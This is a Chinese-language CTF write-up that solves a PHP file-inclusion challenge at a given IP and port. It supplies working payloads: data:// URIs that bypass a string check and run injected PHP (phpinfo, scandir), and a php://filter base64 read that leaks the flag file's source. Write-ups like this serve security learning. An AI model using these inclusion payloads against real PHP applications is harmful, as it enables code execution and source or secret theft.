显示代码:
<?php
ini_set('open_basedir','/var/www/html/protocols/');
highlight_file(__FILE__);
$file = $_GET['file'];
$text = $_GET['text'];
if(isset($text)&&(file_get_contents($text,'r')==='how_to_bypass?')){
$ext = pathinfo($file,PATHINFO_EXTENSION);
if($ext==='php'){
include $file;
}else{
echo "no no";
}
}else{
echo "no";
}
显然首先需要绕过
if(isset($text)&&(file_get_contents($text,'r')==='how_to_bypass?'))
how_to_bypass? 经过base64加密得到aG93X3RvX2J5cGFzcz8= 所以:
http://120.24.194.57:2333/protocols/?text=data://text/plain;base64,aG93X3RvX2J5cGFzcz8=
no变成了no no
接着需要给$file 赋值一个.php后缀名的文件,这里我卡了非常久,,后来不小心给我试出来了。。我也不知道怎么回事。。。 后面加上:
&file=data://text/plain,<?php phpinfo();?>.php
说实话,这个时候出来的info页面着实让我有点懵逼
既然可以运行php的代码了那就——
&file=data://text/plain,<?php%20print_r(scandir("./"))?>.php
然后就出现了: 果断修改payload:
&file=fll11llaaaggg.php
然而什么都没发生,这时候我想起之前看到的文章,可以用php://filter/read=convert.base64-encode/resource=xxx.php 把指定php文件的源码以base64编码形式打印出来,然后试了下:
&file=php://filter/read=convert.base64-encode/resource=fll11llaaaggg.php
谢天谢地它终于出现了 base64解密得到flag:
<?php
$flag = "gxuctf{c0ffecbb-6974-4ef6-87b1-4fe741a0430b}";
|